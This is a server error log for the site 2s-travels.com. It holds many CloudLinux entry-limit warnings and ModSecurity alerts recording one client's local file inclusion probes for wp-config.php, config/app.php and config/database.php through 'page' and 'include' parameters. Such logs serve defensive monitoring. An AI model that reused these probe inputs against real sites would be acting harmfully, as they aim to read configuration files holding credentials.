[Fri Jul 17 08:55:46.351374 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.356191 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.359902 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.360446 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.374602 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.379314 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.388558 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.402962 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.403994 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.405104 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.412275 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:page: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgul1_86A5R6msWNfUiAAAABI"]
[Fri Jul 17 08:55:46.412884 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgul1_86A5R6msWNfUiAAAABI"]
[Fri Jul 17 08:55:46.412994 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.413289 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgul1_86A5R6msWNfUiAAAABI"]
[Fri Jul 17 08:55:46.421750 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:page: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgujsMb3am0TgkjETa7AAAAAo"]
[Fri Jul 17 08:55:46.422350 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgujsMb3am0TgkjETa7AAAAAo"]
[Fri Jul 17 08:55:46.422471 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.422756 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgujsMb3am0TgkjETa7AAAAAo"]
[Fri Jul 17 08:55:46.423099 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.429497 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:page: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguo1dLClkUfK_dfHk-AAAAAI"]
[Fri Jul 17 08:55:46.430402 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguo1dLClkUfK_dfHk-AAAAAI"]
[Fri Jul 17 08:55:46.430544 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.430901 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguo1dLClkUfK_dfHk-AAAAAI"]
[Fri Jul 17 08:55:46.431865 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:page: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgukkXT4NBqALj2lZ89AAAABA"]
[Fri Jul 17 08:55:46.432454 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgukkXT4NBqALj2lZ89AAAABA"]
[Fri Jul 17 08:55:46.432545 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.432807 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgukkXT4NBqALj2lZ89AAAABA"]
[Fri Jul 17 08:55:46.433949 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:page: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgunRlmrtCoY_COpcmFQAAAAg"]
[Fri Jul 17 08:55:46.434566 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgunRlmrtCoY_COpcmFQAAAAg"]
[Fri Jul 17 08:55:46.434707 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.435000 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgunRlmrtCoY_COpcmFQAAAAg"]
[Fri Jul 17 08:55:46.441260 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:page: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguhJ0z2bEtnOrIXVAcQAAAAk"]
[Fri Jul 17 08:55:46.441920 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguhJ0z2bEtnOrIXVAcQAAAAk"]
[Fri Jul 17 08:55:46.442023 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.442310 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguhJ0z2bEtnOrIXVAcQAAAAk"]
[Fri Jul 17 08:55:46.456912 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.479389 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.493394 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.499284 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.501867 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.504192 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.508322 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.510696 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.513906 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.513906 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.514550 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.520354 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.535154 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.555386 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:46.586286 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:include: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguroj0IkvhSCYadmB2gAAAAQ"]
